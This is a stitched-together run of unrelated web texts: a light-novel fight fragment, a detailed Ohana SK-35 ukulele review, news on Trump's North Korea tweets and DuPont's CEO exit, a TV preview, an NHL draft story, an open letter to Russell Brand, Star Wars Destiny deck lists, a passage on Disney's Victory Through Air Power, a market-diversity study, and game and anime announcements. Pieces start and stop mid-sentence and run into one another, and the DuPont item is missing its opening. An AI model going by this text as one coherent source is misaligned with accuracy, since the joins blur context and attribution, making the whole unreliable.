shounen’s true strength.This shounen was strong.His skill with a sword was unmistakably better than Tatsuya’s spear handling technique.He did not have the shoddy footwork of Eugene-seinen.His swordsmanship lacked disorder, as if he had been swinging a sword every day for who knows how many years.What made Tatsuya’s eyes open wide the most was the superhuman slashing speed that coincided |
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References: ClearSky, SolectTime for another look at an Ohana Ukulele, with a long established model of theirs in the SK-35 Soprano uke.
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The purchase of this came about as I was looking for a decent good value soprano ukulele for travelling with that I wouldn't worry too much about losing or damaging. Cheap but not dreadful in other words! One of the key requirements I wanted it to meet was that it was installed with friction peg tuners - and that's where my problems began. You see, in the main you will only really find friction pegs on either the absolute cheapest brightly coloured Chinese trash (no thanks) or on a plethora of high end ukuleles from brands like Koaloha, Kiwaya and Kamaka. The latter of these didn't meet my requirement as a low cost instrument, and then I realised that the choices are extremely limited in the middle to lower price bracket. In fact the vast majority come with gears only. I found a couple though. It came down to Mainland or Ohana as the only models that really satisfied the brief, and I went with this one.And why friction pegs? Well, as I've said before I just think they look much better on a soprano, and don't get in the way of the fretting hand. I also don't buy the argument that they 'don't work', as good quality ones DO work fine. In that respect, I would have even bought one with poor quality friciton pegs as swapping them for better quality ones is a super easy job. As it is, finding the Ohana, I found an instrument that not only had them but had 'fairly' decent ones too.The SK-35, like the Mainland sopranos actually comes in a variety of variants. The SK-35G is exactly the same instrument but with a gloss finish, and they also make an SK-35S which has side facing geared tuners. This is the straight up plain SK-35, so it comes with friction pegs and matte satin finish, but as you can see - something for everyone which is nice.It's a standard scaled and shaped soprano made from all solid mahogany and very much modelled on a Martin ukulele in almost every way. The top and back on this one are made of single pieces and the sides are also a single piece bent to shape. The back is completely flat. The whole body is finished in a satin coat on this one, and it's 'generally' nicely applied. The grain on the wood is straight up and down the body, but being mahogany was never going to be hugely ostentatious or curly. But it's nice for what it is, and exactly what I wanted. It's a nice warm orangey brown, typical of mahogany.Bridge wise we have a rosewood slotted style bridge plate housing a straight bone saddle shaped at the ends to match the taper on the bridge. The whole bridge and saddle is really nicely finished I must say and in fact in much better shape that that on the Martin S1 which was much rougher.Decoration wise we have some black and white edge detailing next to rosewood binding on the top edge, and more of the rosewood binding the back. Around the saddle we have a subtle, cream coloured sound hole ring that is a transfer under the satin. Unlike the Martin S1, I think it looks nice and isn't stark white. The whole thing looks classy, vintage and traditional. In fact this detailing is what sets it a peg above it's slightly cheaper younger brother the SK-25 Ukulele. That one is essentially the same instrument without the bindings.One thing I will say about Ohana satin finishes though is that, rather like Kala, they can make the instrument look a bit too 'new' and almost artificial. Yes, I know it IS new, but on something the like the Martin or Kiwaya you will find finishes that still make the instrument 'feel' like wood. The factory finishes on these mass produced models just seem to take some of that away for me. It must also be said that there are also quite a few finish flaws and marks on this one, particularly on the edge binding but they are minor I suppose and are nothing structural. I guess it's one of the things that sets a £150 instrument apart from one costing £400 or more.Inside things look reasonably good. Scalloped braces, notched kerfing and the makers logo label. There are though, it must be said,of glue seepages around the joints. Pretty messy.Up to the neck, this too is made from mahogany with a joint at the heel and the headstock. It's finished in satin too, although the colour of it is a little too orange for my liking. I would have liked that to match the body colour more closely. Sometimes little things like this set off my OCD.Topping this is a rosewood fingerboard which is nice and even in colour and nicely conditioned. We have a generous (for a soprano) 15 nickel silver frets with 12 to the body joint, the last few overlapping the top above the sound hole. They are all finished nicely, helped by the strips of rosewood edge binding on the sides that hide the fret ends. Personally I would have liked thinner fret wire on a soprano, but there you are. Compared to something like the Kiwaya KTS-5 though, you see that the fingerboard is much thicker where it passes over the top of the body. There are also a couple of finish flaws in the edge binding that actually look like splits in the rosewood that have been polished over. Again, pretty minor, but noticeable to me.We have pearloid position markers at the 5th, 7th and 10th spaces. I'd like one at the 12th too, but they are thankfully repeated on the side - something that I think was missing from the original run of SK-35's. Good to see that Ohana are improving things as they go along.Incidentally, the nut width is a generic 34mm, so narrower than I would like too, but I suppose pretty standard for a Chinese instrument.Past the bone nut we have the usual Ohana headstock style which I really do think looks great. They always exude a certain class in their shape and this is faced in dark rosewood and has the same black and white edge binding detail. The Ohana logo is under the satin and whilst I think it's a screen print, it looks pearly and classy.And flipping it over we see the friction pegs that I was wanting all along. In this case we have standard Gotoh brand pegs with cream buttons - model UKB I think. They are not high end friction pegs, but they are far from the worst out there and I think they are better than the ones that come as standard on the Martin S1. In fact I think they are exactly the same as those fitted to the Kiwaya KS5. Kind of a'mid range' peg I suppose.Completing the package are a set of Aquila strings and whilst these have an RRP of £229, I picked this one up for around £150. Likewise the US RRP is $289 but you will regularly find these for around $180 or so. I do find that a lot with Ohana in that their RRP prices are always much higher than you ever find them for sale and I am never sure why. Even new models seem to hit dealers at lower prices than they show as RRP. Either way though, at a price of £150 I think that's a good deal, so do shop around. I wouldn't be quite as happyy at the RRP I must say.So the build quality of this is pretty good all over with no issues in the body joints and only minor flaws in the finish. A bit messy inside, but that's about it. It's also light and balanced too. Not as light as a higher end soprano as the tone woods are noticeably thicker, but that's to be expected for the price. Setup is also pretty decent on this one although I would likely take the saddle down a touch. It's not affecting the intonation, just the feel for me, so that's purely a personal preference.So no huge complaints so far. Sound wise it's got decent volume and it has some nice sustain too for a cheaper soprano. Not ultra long lasting, but it's there and noticeably making it feel lively enough. Not hugely snappy, but not too shabby. But remember, this is a £150 instrument, not a £500 ukulele.I wouldn't call it a 'complex' voice, but it does have a bit of jangle and certainly barks a bit as a soprano should when you need it by digging in. Iprefer it for strumming than picking, but it's no slouch at the latter. Just a very typically mahogany soprano tone I think and one that does it's job for 95% of people very well. It's a wood that I find gives a warmth and richness of tone that just really suits the soprano scale ukulele. It's no coincidence that classic Martin sopranos used mahogany.But the one thing I can't get past is the strings. I always point out that I don't review ukuleles up or down based on strings because they are just too personal, but i'm finding it slightly hard to come to a clear view of this one based on the Aquila strings. You see, I want a soprano to be bright, snappy and punchy and I just think that (for me at least) the Aquila strings are far too mellow for it to show what it can really do. I really think that I'd want to try fluorocarbons on it is what i'm saying, and with the review out of the way, that's exactly what I am going to do! Please bear in mind you are entitled to disagree - the number of people who love Aquila strings are legion and this is just my personal opinion. And it's exactly why I don't let strings affect my scores unless they truly are dreadful.Those tuners on this are also a little bit fiddly, but as I say, they are not the worst out there and do hold and turn smoothly enough. I just find they have a touch of play that is annoying, but as I always say, swapping these out is a minor job.It probably reads like I am trying to find things wrong with this one, and I suppose I should come to a conclusion that is more positive. And that's because for the great value price, it's actually alittle instrument that I AM positive about. Hugely. It looks the part (traditional and classy), on the whole is built very well and sounds pretty good too. I think it probably fits the bill for exactly what I wanted. A non hellishly expensive soprano that still sounds great and has friction pegs! I therefore still give this a good recommendation and a score to match. I'm very pleased with it!I noticed on playing back the video that the sound goes very 'phasey' in parts - I was experimenting with a new microphone and decided it sounds horrid, but didn't have time to re-record it. So to give you something better to listen to, I have done the audio below which is using a microphone, but without the phasey effect!)- Since writing this review and recording the video I swapped the strings out to Martin M600's. To my ears it now sounds far, far better. However, I stand by my policy of reviewing instruments with the strings they are supplied with and for many of you, the Aquilas will be your preferred choice. Take these comments with a pinch of salt!)Great price (if you shop around!)Classy traditional looksNice bindingUse of friction tunersGood volume and sustainAccurate set upSome finish flaws and internal glue seepageFriction tuners are not the best, though easily changed.Looks - 8.5 out of 10Fit and finish - 8.5 out of 10Sound - 8.5 out of 10Value for money 9 out of 10President Donald Trump took aim at North Korea on Saturday, writing that his predecessors had been made to look like “fools” by the isolated country in the past and that “only one thing will work!”
It wasn’t clear what the “one thing” is that Trump was referring to, but likely will lead to further speculation that he is planning to attack the rogue nation led by Kim Jong Un. The tweets came days after he told reporters following a dinner with top military brass that they may be witnessing the “calm before the storm.”
When asked by reporters what that meant, he cryptically replied, “You’ll find out.”
The bizarre remarks were widely interpreted to be a possible warning of an upcoming war.
Trump has been engaged in a game of nuclear chicken with the country for months now. Over the summer, he threatened Pyongyang with “fire and fury” if the Kim regime continued its nuclear provocations. Then, in an address to the United Nations in September, Trump said that he may have no choice but to “totally destroy” North Korea if it threatened the United States or its allies.
North Korea, for its part, has said that Trump’s threats have made war between the two countries “inevitable” and that the Kim regime would “make sure that he bears consequences far beyond his words.”
Secretary of State Rex Tillerson, meanwhile, has continued to push for diplomatic solutions, but Trump last week said that he was “wasting his time” in doing so and once again mocked the North Korean leader by calling Kim “Little Rocket Man.”
“Save your energy Rex,” Trump tweeted Sunday. “We’ll do what has to be done!”Ellen Kullman, Chair of the Board and Chief Executive Officer of DuPont attends a session at the annual meeting of the World Economic Forum (WEF) in Davos January 23, 2014. REUTERS/Ruben Sprich (Reuters) - DuPont
The chemical and crop company cut its earnings forecast for the second time this year, citing the strong U.S. dollar and further weakening of agricultural markets, primarily in Brazil.
Shares of DuPont, officially known as E.I. du Pont de Nemours & Co, rose 4.9 percent to $53.79 in extended trading.
Kullman, who joined the company more than 27 years ago, has been its CEO since 2009. She acknowledged as recently as last week that the price of its shares, which are down 27 percent so far this year, was "a concern."
Under Kullman, DuPont fended off an attempt by activist investor Nelson Peltz's Trian Fund Management to land board seats earlier this year. Trian declined comment on Kullman's exit.
Because of the tough currency and demand environment, DuPont lowered its 2015 forecast for operating earnings per share to about $2.75 from $3.10. It already cut its forecast in July.
Excluding the impact of currency, operating earnings per share for the year, including expected benefits from share repurchases and cost savings, are expected to rise 3 percent from a year earlier.
Kullman is set to leave Oct. 16, when Breen will take over as interim CEO.
(Reporting by Sneha Banerjee in Bengaluru and Christian Plumb in New York, writing by Bill Rigby; editing by Maju Samuel, Bernard Orr)We're still a couple of weeks away from the airdate for the second season premiere of DC's Legends of Tomorrow -- but here at ComicBook.com, we've peered through the Waverider's on-board computers and taken a look at what to expect in October.
The addition of the Justice Society of America takes Legends of Tomorrow -- a fine show last year, but arguably the least compelling of DC's superhero shows on a week-in, week-out basis -- and makes it must-see TV of the highest possible order.
Combine that with the fact that last season's biggest problem -- a less-than-compelling villain who didn't succeed so much as he made the heroes fail, making viewing sometimes a frustrating experience -- is gone now, replaced by a team-up of some of the most popular villains to come out of Arrow and The Flash, and you've got a recipe for some damn good television. Now, we're not going to spoil any plot points explicitly here -- or in our review of the season premiere, which will run later today. Rather, this is an opportunity for us to provide fans with some tantalizing tidbits that readers can use to try and speculate about and suss out.
That kind of thing tends to make for fun conversation when a TV season is on hiatus, and as the season premiere draws closer and more and more clues are out there, it tends to build to a fever pitch. Sara Lance is far and away the most driven character on the show -- but will her agenda match up with that of the rest of the Legends?
The CWverse will officially see its world history altered in a way that makes history develop differently than in the real world...and not only will the team not fix it, but they actually set it in motion.
Keep a keen eye out. Nobody mentions it, but it sure looks to us like there's a stealth cameo by some incredibly famous characters not owned by DC Comics.
They're embracing the over-the-top, campy nature of the series in a way that makes it feel more like a companion to Supergirl than Arrow. Even though Stephen Amell's performance in the premiere is a highlight.
Nick Zano is a gem. He steals every scene he's in.He was still fulfilling his post-draft media obligations when questions arose about a tweet someone dug out of McAvoy's timeline.
WILMINGTON, Mass. -- It didn't take long after defenseman Charlie McAvoy was selected by the Boston Bruins with the 14th pick in the 2016 NHL Draft to find out the type of scrutiny that comes with being a high choice.
"I hate the bruins [sic] so much," the tweet read.
McAvoy was asked if he had sent that tweet. He said he hadn't even touched his phone since Bruins CEO Charlie Jacobs called his name from the stage at First Niagara Center in Buffalo. Upon closer examination, the timestamp on the tweet was May 21, 2013. That night, the Bruins defeated the New York Rangers in Game 3 of the Eastern Conference Second Round, and a 15-year-old McAvoy was a little disappointed his beloved Rangers had fallen behind 3-0 in the series.
Video: Bruins kick off 10th annual Development Camp
Now 18, the Long Beach, N.Y., native handled the brief controversy with aplomb.
"We laughed it off," McAvoy said during Bruins development camp at Ristuccia Arena. "Because that's what it is, it's funny. Anyone who can't really get past the fact that when I was [15] I was a Rangers fan, then I don't even know what to tell them.
"My heart is with the Bruins now. I'm die-hard Bruins. These are the people that had faith in me and wanted me to be a part of the organization. It's obvious why I'm a Bruins fan now."
The feeling is mutual. Last season, as the youngest player in NCAA Division I men's hockey, McAvoy thrived with 25 points in 37 games as a Boston University freshman. He gained international experience by representing the United States at the IIHF World Junior Championship and later was selected to the Hockey East All-Rookie Team.
The 6-foot, 207-pound right-handed shot was a perfect fit for the Bruins' needs when the 14th pick came up because of his proximity to the organization and his skill set for a franchise looking to shore up its defense for the near and distant future.
Video: Boston Bruins GM Don Sweeney on drafting McAvoy
"He's wide, he can really skate. He's an effortless skater," Bruins assistant coach Jay Pandolfo said. "He's the type of D-man that you hope is going to be able to play 26, 27 minutes a night. That's what he looks like. Even watching him in college last year, he has no problem playing a lot ice time. So that's important."
Positive sentiments about McAvoy were echoed by his former BU defense partner Matt Grzelcyk, who was a third-round pick (No. 85) by the Bruins in 2012 and turned pro after his senior season. The two were reunited during development camp.
"He's a real mature kid for his age," Grzelcyk said. "Obviously he was the youngest player in college hockey last year. He's got a real wide base to him. He's tough to get the puck from. I think he really handled himself well at BU"
McAvoy is scheduled to be back at BU this season. Although he might not be on a four-year plan, he sees how the college game helped Grzelcyk develop and wants to emulate the former captain. McAvoy will have a chance to pick up some of the leadership slack left by Grzelcyk's departure.
McAvoy might soon be reunited with Grzelcyk in the pros; the Bruins defense is in a transition period and there will be a lot of change over the next several seasons. Boston traded defenseman Dougie Hamilton prior to the 2015 draft and bought out Dennis Seidenberg in June. Torey Krug recently was re-signed for four seasons, but Zdeno Chara has two years remaining on his contract and John-Michael Liles, Colin Miller and Joe Morrow are signed through this season.
Video: 14th overall pick Charlie McAvoy on joining Bruins
McAvoy is one of the higher-profile potential replacements, and he's looking forward to developing at the right pace to fill the void.
"You see what the team needs and within the Bruins organization, I think that's a priority reason they drafted me because they think I'll fill a need when the time's right," McAvoy said. "And that's not really a pressure thing for me, that's just an excitement thing. That's what I'm working for, to continue to grow and get better and to win that spot."In the open letter, Jo likens Brand to a school bully
Dear Russell,
Hi. I'm Jo. You may remember me. You may even have filmed me.
On Friday, you staged a publicity stunt at an RBS office, inconveniencing a hundred or so people. I was the lanky slouched guy with a lot less hair than you but (I flatter myself) a slightly better beard who complained to you that you, a multimillionaire, had caused my lunch to get cold.
You started going on at me about public money and bankers' bonuses, but look, Russell, anyone who knows me will tell you that my food is important to me, and I hadn't had breakfast that morning, and I'd been standing in the freezing cold for half an hour on your whim. What mattered to me at the time wasn't bonuses; it was my lunch, so I said so.
Which is a great shame, because I'd usually be well up for a proper barney with you, and the points you made do actually deserve answers. Although not — and I really can't emphasise this enough, Russell — not as much as I deserve lunch.
Before I go any further, I should stress that I don't speak for RBS. I'm not even an RBS employee, though I do currently work for them. What follows is not any sort of official statement from RBS, or even from the wider banking industry. It is merely the voice of a man whose lunch on Friday was unfairly delayed and too damn cold.
So, firstly, for the people who weren't there, let's describe the kerfuffle. I didn't see your arrival; I just got back from buying my lunch to discover the building's doors were locked, a film crew were racing around outside trying to find a good angle to point their camera through the windows, and you were in reception, poncing around like you were Russell bleeding Brand. From what I can gather, you'd gone in and security had locked the doors to stop your film crew following you. Which left us — the people who were supposed to be in the building, who had work to do — standing around in the cold.
My first question is, what were you hoping to achieve? Did you think a pack of traders might gallop through reception, laughing maniacally as they threw burning banknotes in the air, quaffing champagne, and brutally thrashing the ornamental paupers that they keep on diamante leashes — and you, Russell, would damningly catch them in the act? But that's on Tuesdays. I get it, Russell, I do: footage of being asked to leave by security is good footage. It looks like you're challenging the system and the powers that be want your voice suppressed. Or something. But all it really means, behind the manipulative media b*******t, is that you don't have an appointment.
Of course, Russell, I have no idea whether you could get an appointment. Maybe RBS top brass would rather not talk to you. That's their call — and, you know, some of your behaviour might make them a tad wary. Reputations are very important in banking, and, reputation-wise, hanging out with a guy who was once fired for broadcasting hardcore pornography while off his head on crack is not ideal. But surely a man who can get invited onto Question Time to discuss the issues of the day with our Lords & Masters is establishment enough to talk to a mere banker.
And it would be great if you could. Have you tried, Russell? Maybe you could do an interview with one of them. An expert could answer your questions and rebut your points, and you could rebut right back at them. I might even watch that. (By the way, Russell, if you do, and it makes money, I would like a cut for the idea, please. And I'm sure it would. Most things you do make money.)
But instead of doing something potentially educational, Russell, you staged a completely futile publicity stunt. You turned up and weren't allowed in. Big wow. You know what would have happened if a rabid capitalist had just turned up unannounced? They wouldn't have been allowed in either. You know what I have in my pocket? A security pass. Unauthorised people aren't allowed in. Obviously. That's not a global conspiracy, Russell; it's basic security. Breweries have security too, and that's not because they're conspiring to steal beer from the poor. And security really matters: banks are simply crawling with highly sensitive information. Letting you in because you're a celebrity and You Demand Answers could in fact see the bank hauled in front of the FCA. That would be a scandal. Turning you away is not. I'm sorry, Russell, but it's just not.
Your response to my complaint that a multimillionaire was causing my lunch to get cold was... well, frankly, it was to completely miss the point, choosing to talk about your millions instead of addressing the real issue, namely my f****** lunch. But that's a forgivable mistake. We all have our priorities, Russell, and I can understand why a man as obsessed with money as I am with food would assume that's what every conversation is about. Anyway, you said that all your money has been made privately, not through taxation. Now, that, Russell, is actually a fair point. Well done.
Although I can't help but notice that you have no qualms about appearing on the BBC in return for money raised through one of the most regressive taxes in the country, a tax which leads to crippling fines and even jail time for thousands of poor people and zero rich people.
The letter to Brand also condemns the 'puerile self-aggrandising antics of a prancing multimillionaire'
But never mind. I appreciate that it's difficult for a celeb to avoid the BBC, even if they're already a multimillionaire and can totally afford to turn the work down. Ah, the sacrifices we make to our principles for filthy lucre, eh, Russell? The condoms and hairspray won't buy themselves. Or, in my case, the pasta.
And then there is that film you're working on, isn't there, for which I understand your production company is benefiting from the Enterprise Investment Scheme, allowing the City investors funding your film to avoid tax.
Was that the film you were making on Friday, Russell, when you indignantly pointed out to me that none of your money comes from the taxpayer? Perhaps it had slipped your mind.
But still, you're broadly right. Leaving aside the money you make from one of the most regressive of the UK's taxes, and the tax exemptions your company uses to encourage rich City investors to give you more money, and the huge fees you've accepted from one of the planet's most notorious and successful tax avoidance schemes, you, Russell, have come by your riches without any effect on taxpayers. Whereas RBS got bailed out. Fair point.
Here's the thing about the bailout of RBS, Russell: it's temporary. The plan was never to bail out a bank so that it could then go bust anyway. That would be too asinine even for Gordon Brown. The idea was to buy the bank with public money, wait until it became profitable again, then resell it, as Alastair Darling clearly explained at the time. And that is still the plan, and it does appear to be on course. Not only that, but it looks as if the government will eventually sell RBS for more than they bought it for. In other words, the taxpayer will make a profit on this deal.
Of all the profligate pissing away of public money that goes on in this country, the only instance where the public are actually going to get their money back seems an odd target for your ire. What other government spending can you say that about, Russell? What other schemes do they sink taxpayers' money into and get it all back, with interest? And how many people have you met who have actually been right in the middle of working to make a profit for the taxpayer when you've interrupted them to cause their lunch to get cold?
As for bonuses, well, I'll be honest: I get an annual bonus. I'm not allowed to tell you exactly how much it is, but I will say it's four or five orders of magnitude smaller than the ones that make the headlines. It's very nice — helps pay off a bit of credit card debt (remember debt, Russell?) — but, to put it in terms you can understand, I'd need to work for several tens of thousands of years before my bonuses added up to close to what you're worth.
But here's the key thing you need to know about bonuses, Russell: they come with conditions attached. My salary is mine to do with as I will (I like to spend a chunk of it on good hot food). My bonus my employer can take back off me under certain conditions. Again, I do not speak for RBS, so cannot say anything about the recent FX trading scandal or PPI or any of that s***. But, in general terms, bonuses have conditions attached, such as 'And we'll claw back every penny if we discover you were breaking the rules.' And yes, it does happen. The only bonuses that make the news are the ones that get paid. But, every year, bonuses either don't get paid or are even taken back off staff for various reasons, including misconduct. I'd've thought, Russell, that anyone who wanted bankers to be accountable would approve of the scheme.
And now, if I may, a word about your manner.
Much as I disagree with most of your politics, I've always rather liked you. You do a good job of coming across as someone who might be fun to be around. Turns out, that's an illusion.
Because, you see, Russell, when you accosted me, you started speaking to me with your nose about two inches from mine. That's pretty f****** aggressive, Russell. I'm sure you're aware of the effect. Putting one's face that close to someone else's and staring into their eyes is how primates square off for a fight. Regardless of our veneer of civilisation, when someone does that to us, it causes instinctive physical responses: adrenaline, nervousness... back down or lash out. (Or, apparently, in the case of the celebrity bikes you like to hang out with, swoon.) I'm sure that, like turning up with a megaphone instead of an appointment, such an aggressive invasion of personal space makes for great footage: you keep talking to someone in that chatty reasonable affable tone of yours, and they react with anger. Makes them look unreasonable. Makes it look like they're the aggressive ones. Makes it look like people get flustered in the face of your incisive argument. When in fact they're just getting flustered in the face of your face.
I've been thinking about this the last couple of days, Russell, and I can honestly say that the only other people ever to talk to me the way you did were school bullies. It's been nearly a quarter of a century since I had to deal with such b*******, so I was caught quite off my guard. Nice company you're keeping. Now I think about it, they used to ruin my lunchtimes too.
One last thing, Russell. Who did you inconvenience on Friday? Let's say that you're right, and that the likes of Fred Goodwin need to pay. OK, so how much trouble do you think Fred faced last Friday as a result of your antics? Do you think any of his food got cold, Russell? Even just his tea? I somehow doubt it. How about some of the millionaire traders you despise so much (some of whom are nearly as rich as you, Russell)? Well, no, because you got the wrong f****** building. (Might want to have a word with your researchers about that.) Which brings us back to where we came in: a bunch of admittedly fairly well paid but still quite ordinary working people, admin staff mostly, having their lives inconvenienced and, in at least one case, their lunches quite disastrously cooled, in order to accommodate the puerile self-aggrandising antics of a prancing multimillionaire. If you had any self-awareness beyond agonising over how often to straighten your f****** chest-hair, you'd be ashamed.
It was paella, by the way. From Fernando's in Devonshire Row. I highly recommend them: their food is frankly just fantastic.
When it's hot.As I’m sure many of you have been doing as well, I’ve been throwing together all kinds of decks with new cards from Empire at War. There is so much new stuff to try!
In this article, I’m going to go through most of the creations (abominations?) that I’ve used so far, along with my current verdict on the deck.
“Listen, I’ve got a new card now, so be scared of me, okay?!
The first deck I’m going to talk about is the one I used at our local tournament last week. I made one change to the list presented in that article, and it was adding The Best Defense over As I Have Foreseen.
(e)Kylo Ren, Tormented One / General Grievous Battlefield – Rebel War Room Upgrades (10) Support (4) Events (16) 2x Ancient Lightsaber 2x Imperial HQ 2x Clash 2x Crossguard Lightsaber 2x Imperial Inspection 2x Doubt 2x Electrostaff 2x Isolation 2x Force Illusion 2x Lightsaber Pull 2x Hate 2x Overconfidence 2x Rend 2x Sound the Alarm 2x The Best Defense
This deck has generally been performing well, but it can lose some momentum if you don’t get at least one or two weapons out early. This can be mitigated somewhat by Lightsaber Pull, but I’d consider swapping out Hate for something like Z6 Riot Control Baton.
The main weakness of this deck is only having three character dice. Against Thrawn/Unkar, with cards like Prized Possession and Detention Center, you can really struggle. It might just be worth giving up on Grievous, and replace him with FN-2199 or the new Captain Phasma.
New Kylo is good, Grievous less so. I think this is a team I’m going to put on the back-burner for now.
“Hey, Sabine. According to the holonet, you’re a problem.”
Well, her interaction with two copies of Running Interference and ambush effects are what people are complaining about. The deck I’ve been using does have Running Interference and at least one ambush weapon in it, but I’ve never had both copies in play at once. To be honest, in friendly games I don’t think I’d use the ‘lock’, as it’s the opposite of friendly, but for tournaments the gloves would come off.
(e)Sabine Wren / (e)Ezra Bridger Battlefield – Emperor’s Throne Room Upgrades (10) Support (3) Events (17) 2x DL-44 Heavy Blaster Pistol 1x Chopper 2x Electroshock 2x EMP Grenades 2x Running Interference 2x Friends In Low Places 2x Second Chance 1x Impersonate 2x Thermal Detonator 2x Negotiate 2x Thermal Paint 2x Planned Explosion 2x Smuggling 2x Sound the Alarm 2x Truce 2x Unpredictable
This deck has been fun to use, and Sabine’s ability is very good, but she’s a bit of a glass cannon. She can very easily be killed on the second round, so that means you have to mulligan accordingly. Second Chance and Impersonate, along with dice mitigation can help keep her alive (moving seven damage over to Ezra with Impersonate is |
film with short captions. This was possibly the first time that such skilled use of visual description had been placed at the service of an abstract political argument.
Victory Through Air Power, showing a rocket–bomb destroying a German A still from, showing a rocket–bomb destroying a German U-boat pen
On December 8, 1941, Disney studios were essentially converted into a propaganda machine for the United States government. While most World War II films were created for training purposes, films such as Victory Through Air Power were created to catch the attention of government officials and to build public morale among the U.S. and Allied powers.[3] Among the notables who decided after seeing the film that Seversky and Disney knew what they were talking about were Winston Churchill and Franklin D. Roosevelt.[4]
The Disney studio sent a print for them to view when they were attending the Quebec Conference. According to Leonard Maltin, "it changed FDR's way of thinking—he agreed that Seversky was right." Maltin also adds that "it was only after Roosevelt saw 'Victory Through Air Power' that our country made the commitment to long-range bombing."[5] (These quotes by Mr. Maltin may be inaccurate or merely intended as hyperbole suitable to an introduction to a re-release of a film as the decision regarding long-range bombing had previously been taken and the Allied Combined Bomber Offensive had already begun on June 10, 1943, two months before Roosevelt saw the movie.) Roosevelt recognized that film was an effective way to teach and Disney could provide Washington with high quality information. The American people were becoming united and Disney was able to inform them of the situation without presenting excessive chaos, as cartoons often do. The animation was popular among soldiers and was superior to other documentary films and written instructions at the time.[6]
The film played a significant role for the Disney Corporation because it was the true beginning of educational films.[3] The educational films would be, and still are, continually produced and used for the military, schools, and factory instruction. The company learned how to effectively communicate their ideas and efficiently produce the films while introducing the Disney characters to millions of people worldwide. Throughout the rest of the war, Disney characters effectively acted as ambassadors to the world. In addition to Victory Through Air Power, Disney produced Donald Gets Drafted, Education for Death, Der Fuehrer's Face, and various training films for the military, reusing animation from Victory Through Air Power in some of them.[7]
One scene showed a fictional rocket bomb destroying a fortified German submarine pen. According to anecdote, this directly inspired the British to develop a real rocket bomb to attack targets that were heavily protected with thick concrete. Due to its origin, the weapon became known as the Disney bomb, and saw limited use before the war ended.[Note 2][8] In retrospect, some of Seversky's proposals were derided as impractical such as operating a major long range air bombardment campaign from the Aleutians, a series of islands reaching westward from Alaska which is a remote area with a climate that makes for dangerous flying conditions.[9]{snip}
Now, Bloomberg Markets magazine will report in its February issue, research suggests that it may protect financial markets from manic excess. Bubbles form when traders trust others’ judgment without scrutiny, and that happens more in ethnically homogeneous markets, according to a new paper in the Proceedings of the National Academy of Sciences by Sheen S. Levine and David Stark of Columbia University.
{snip}
To test their thesis, Stark and Levine created six-person minimarkets, some ethnically similar, others diverse. They chose two locales: Singapore, where they recruited Chinese, Malays and Indians, and Texas, where they tapped whites, blacks and Latinos.
Each group traded fake stocks for real money for 10 rounds. In each round, the true value of the stocks depreciated by 10 percent. Prices should have fallen, too–and, in the diverse groups, that’s what happened.
Pricing accuracy
But in the homogeneous ones, prices often stayed nosebleed high as traders willingly accepted bubble prices from their counterparts. Pricing accuracy proved 58 percent higher in diverse markets, the authors found. In Singapore, where almost all subjects had taken an economics or finance class, it reached almost 90 percent.
We humans tend to let our guard down and go with the flow in homogeneous settings, says Stark. We accept inflated offers and become more likely to spread others’ errors.
“If there’s some diversity, you’re on your game,” he says.
{snip}
Original Article
Share ThisThe staff of the PC game brand Trumple announced on Sunday that an anime adaptation of their adult game Ushinawareta Mirai o Motomete (À la recherche du futur perdu or Searching for the Lost Future) has been green-lit.
The story is set one autumn at the beginning of the 21st century in the Uchihama area. Uchihama Academy is growing by leaps and bounds. With the construction of a new school building, there will be one last General Club Festival at the old building that is slated to be closed. The students vow to go all out to make this final cultural festival a success.
The Astronomy Club of the protagonist Sō Akiyama is filled with the big names on campus. Just before the festival on October 1, the club receives a request from the student executive committee to calm the uneasiness among the students. There are reports of ghost sightings, accidents, sleeping sickness, and other mysterious incidents at the old building. When Yui Furukawa, a quiet girl who transfered late into the school, appears before Sō, the gears of fate slowly begin to move.
Trumple released the game for Windows in 2010. Ryo Ohta, Kenji Saitou, and Masaki Sawa wrote the screenplay, and Kurehito Misaki and Shinobu Kuroya designed the characters. (Kuroya drew the illustration above.) Here are the opening movie and the second commercial movie for the game:
[Via 0takomu]
Image © atelier Hi-key
Update: Typo fixed. Thanks, EmperorBrandonGoing forward, there will be some changes to our PR/social media updates. Here we will be sharing some updates regarding our Tubes level and work-in-progress Truck asset model. Keep reading for some new videos and a new soundtrack!
Posted by INTgame on Aug 20th, 2017
Welcome back!
I hope everyone is doing great today! Going forward, there are going to be some changes to our PR/Social media updates. We will be putting at least one update out a month, near the end of the month. However, we will be aiming to put out additional updates towards the end of each week (as long as we have material to share). This will be our framework for updating the public going forward.
Additionally, our Project Lead and various other Team Leads will be contributing each week to the update process. If there is someone interested in joining us to take on a community manager/pr role then please feel free to apply (see below for more information on applying). Without further adieu please check out the update below!
Tubes and Trucks
First thing first! I wanted to give everyone an update on the Tubes level. We are currently working on integrating the level that we showed off:
Above, you will see a screenshot of our water pump. At several locations in the Tubes level there will be massive pumping stations. After all, it is a massive sewer system. Unfortunately, the sewers have fallen into a decay and are infested with enemy encounters and strange denizens.
This sketchfab link is also for the water pumps! Kudos to the art staff and Monte for this one.
Next, you will see an image of one of our construction trucks. This truck was created by Timothy and illustrated by Scott. The truck will be found scattered throughout our outdoor environmental street level. This is good news for long time fans of the project as we are now progressing to the street!
Blood Effect Test Video
Next, I wanted to share this short blood particle system preview video. Everything in the video is WIP, but this video showcases new improvements to the combat system. When enemies or the player are hit, there will be a blood effect. Awesome work to Tristan for working on this! Furthermore, this showcases our work on the game's particle systems and also combat optimizations. Check out the video below!
INT Soundcloud
Finally, I wanted to take a second to announce (re-announce?) our team’s Soundcloud. From the Soundcloud we are going to begin sharing more sounds from the game. For this week, I wanted to direct everyone to the INT Combat Music. Check it out below.
Closing Thoughts
It’s been an exciting few months for the INT Team. Not only have we made significant progress in terms of level development, but we have also made major progress with feature implementation. This short update showcases some of the work being done in our Art, Sound, and Programming Departments, but it is my goal to showcase work from our other departments soon.
If anyone would like to apply to be a CM/PR representative for the team then please contact John Shen (HR Lead) at the following email: [email protected]. Please include a CV and any relevant information about why you would like to be our Community Manager/PR representative. Additionally, if anyone would like to apply for another role on the team we are currently looking for an additional animator and programmer.
I hope everyone enjoyed this update! Until next time...You know you're a Minnesotan when instead of just putting on pants you need to put nets over your shorts to protect your from the mosquitos. It's amazing that we can make seedless watermelon, be on the verge of curing cancer and aids, come close to making majestic creatures like the white rhino, and narwhals extinct due to poaching, yet the mosquito, possibly the most annoying creature on the planet still thrives and is more populous than ever, and scientists don't give a shit about my itchy legs.
